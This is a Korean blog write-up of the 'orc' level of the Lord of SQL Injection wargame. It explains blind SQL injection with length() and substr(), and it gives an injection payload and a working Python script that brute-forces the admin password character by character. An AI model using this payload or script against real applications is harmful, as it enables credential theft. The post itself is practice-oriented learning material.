본문 바로가기

Wargame, CTF/LOS_eagle

LOS _orc

입력 값은 pw로 받음

리얼 데이터베이스에 있는 admin의 pw와

입력한 pw가 같아야함

 

Hint

Blind SQL Injection

length()

substr()

 

...더보기

length 함수를 사용해 pw의 길이를 알아낸다

query

pw=' or id='admin' and length(pw)>5%23

 

5보다 기냐고 하니 TRUE

 

pw의 길이는 8자리

 

substr을 사용해 첫번째 자리부터 하나하나 찾으면되는데

특수 문자+영어 대소문자+숫자종류 * pw을길이(8)

이 모든 경우의 수를 해보기엔 

엄청 귀찮으니까 프록시 툴을 쓰거나

프로그래밍으로 풀어야한다

 

With Pothon

참고로 requests 모듈 필요

cookie값은 자신의 쿠키값으로 바꿔야함

import requests

url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="

cookie={"PHPSESSID":"v1jh6l7v17maah6buvjeijc524"}

session=requests.Session()

password=""

for i in range(1,9):
    for j in range(33, 127):
        payload=session.get(url+"'or id='admin' and substr(pw,"+str(i)+",1)='"+chr(j)+"'%23",cookies=cookie)
        if("Hello admin" in payload.text):
            print(chr(j)+"is correct!!!!!!!")
            password += chr(j)
            break
        print(chr(j)+"is incorrect")
print(password)

SQL은 대소문자 구분을 안하고

대문자든 소문자든 같다고 인식함

하지만 실제 데이터 베이스에는 대문자가 아니여서 

클리어가 안되는 것 같음

 

'Wargame, CTF > LOS_eagle' 카테고리의 다른 글

LOS _dark elf  (0) 2019.10.05
LOS _wolfman  (0) 2019.10.01
LOS _goblin  (0) 2019.10.01
LOS _cobolt  (0) 2019.10.01
LOS _gremlin  (0) 2019.10.01